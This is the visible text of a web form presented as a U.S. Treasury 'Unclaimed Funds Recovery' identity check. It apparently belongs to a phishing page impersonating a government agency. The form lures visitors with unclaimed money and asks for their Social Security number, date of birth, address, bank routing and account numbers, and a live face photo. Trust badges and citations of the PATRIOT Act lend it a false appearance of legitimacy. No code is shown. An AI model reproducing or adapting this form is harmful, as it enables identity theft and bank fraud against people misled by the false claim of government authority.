U.S. Department of the Treasury

Unclaimed Funds Recovery Division

256-bit SSL Encrypted | FDIC Insured Transfer | ID Verification Required

Identity Verification

Complete all fields to verify your eligibility for unclaimed funds

Step 1: Personal Information

First Name *

Middle Name

Last Name *

Date of Birth *

Social Security Number *

Your SSN is encrypted and secure

Email Address *

Phone Number *

Step 2: Address Information

Street Address *

Apartment, Suite, Unit (Optional)

City *

State *

ZIP Code *

Step 3: Banking Information for Direct Deposit

Select Your Bank *

Account Type *

Checking

Savings

Routing Number *

Found at the bottom left of your check

Account Number *

Found in the center of your check

Confirm Account Number *

I certify that the information provided is accurate and complete. I authorize the U.S. Treasury to verify my identity and deposit funds to the bank account specified above. I understand that providing false information may result in penalties under federal law.

Step 4: Biometric Identity Verification

Federal Requirement: Photo ID Verification

As per the USA PATRIOT Act and Bank Secrecy Act, we are required to verify your identity before processing fund transfers exceeding $1,000.

Click "Start Camera" to begin verification

Photo Requirements:

Ensure good lighting on your face
Remove glasses, hats, or face coverings
Look directly at the camera
Keep a neutral expression

U.S. Department of the Treasury

Identity Verification

Photo Requirements:

Searching for Funds...

Congratulations! Funds Found!